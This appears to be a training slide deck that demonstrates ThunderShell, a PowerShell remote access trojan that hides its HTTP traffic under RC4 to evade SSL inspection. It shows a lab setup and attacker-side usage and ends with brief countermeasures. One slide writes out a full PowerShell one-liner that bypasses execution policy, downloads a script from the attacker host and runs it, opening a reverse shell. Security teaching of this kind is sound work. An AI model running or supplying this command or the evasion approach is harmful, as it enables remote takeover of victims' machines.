ThunderShell

Information Security Inc.

Contents• About ThunderShell• Requirements• Demo configuration• Installing ThunderShell• Logs• How ThunderShell works• Using ThunderShell• Countermeasures• References

2

Information Security Confidential - Partner Use Only

About ThunderShell• ThunderShell is a Powershell based RAT that rely on HTTP
requests to communicate• All the network traffic is encrypted using a second layer of RC4 toavoid SSL interception and defeat network hooks

3

Information Security Confidential - Partner Use Only

Requirements• redis-server• python-redis4

Information Security Confidential - Partner Use Only

Demo configuration• Attacker: Kali Linux 2017 64 bit (https://www.kali.org/downloads/)• Victim: Windows 10 x64 Version 1703
• Powershell version: 5.1.15063.608--------------| Victim|| Machine |===||--------------Windows 10IP 192.168.254.132

5----------------| Router|||||------------------===----------------| Attacker || Machine |||----------------Kali Linux 2017
192.168.10.12

Information Security Confidential - Partner Use Only

Installing ThunderShell• Clone GitHub repo

6

Information Security Confidential - Partner Use Only

Logs
• Every error, http requests and commands are logged in the logs
folder

7

Information Security Confidential - Partner Use Only

How ThunderShell works• Once the PowerShell script is executed and HTTP request will be
issued to the server• The body of each POST request contains the RC4 encrypted
communication. Why RC4 because it's strong enough to hide thetraffic. The idea is to upload / download data over the network thatcannot be inspected

8

Information Security Confidential - Partner Use Only

How ThunderShell works• The RAT support HTTPS but some security product may perform
SSL interception and obtain visibility on the data leading todetection of malicious payload (PowerShell script, stager etc...).
The RC4 encryption allows to communicate over the wire without
leaking the payload

9

Information Security Confidential - Partner Use Only

Using ThunderShell• Attacker side > configuration file (default.json)

10

Information Security Confidential - Partner Use Only

Using ThunderShell• Attacker side > Listen on port 8080 (webserver)

11

Information Security Confidential - Partner Use Only

Using ThunderShell• Victim side (victim machine is already compromised by theattacker) > Run the following command/* C:¥WINDOWS¥system32>powershell -exec bypass IEX (New-Object
Net.WebClient).DownloadString('http://192.168.10.12/PS-RemoteShell.ps1'); PSRemoteShell -ip 192.168.10.12 -port 8080 -Key test -Delay 2000 */12

Information Security Confidential - Partner Use Only

Using ThunderShell• Attacker side > victim machine connects back to the attacker

13

Information Security Confidential - Partner Use Only

Using ThunderShell• Attacker side > the help menu

14

Information Security Confidential - Partner Use Only

Using ThunderShell• Attacker side > list of active shells

15

Information Security Confidential - Partner Use Only

Using ThunderShell• Attacker side > interact with the victim machine

16

Information Security Confidential - Partner Use Only

Countermeasures• Block powershell.exe• Analyze the network traffic (using a Network Traffic Analyzer deviceetc…) and look for old HTTP versions (version 1.0) and suspicious
POST requests

17

Information Security Confidential - Partner Use Only

References• Kitploit
http://www.kitploit.com/2017/09/thundershell-powershell-based-rat.html• Kali Linuxhttps://www.kali.org/downloads/• RAT (Remote Access Trojan)
https://en.wikipedia.org/wiki/Remote_access_trojan

18

Information Security Confidential - Partner Use Only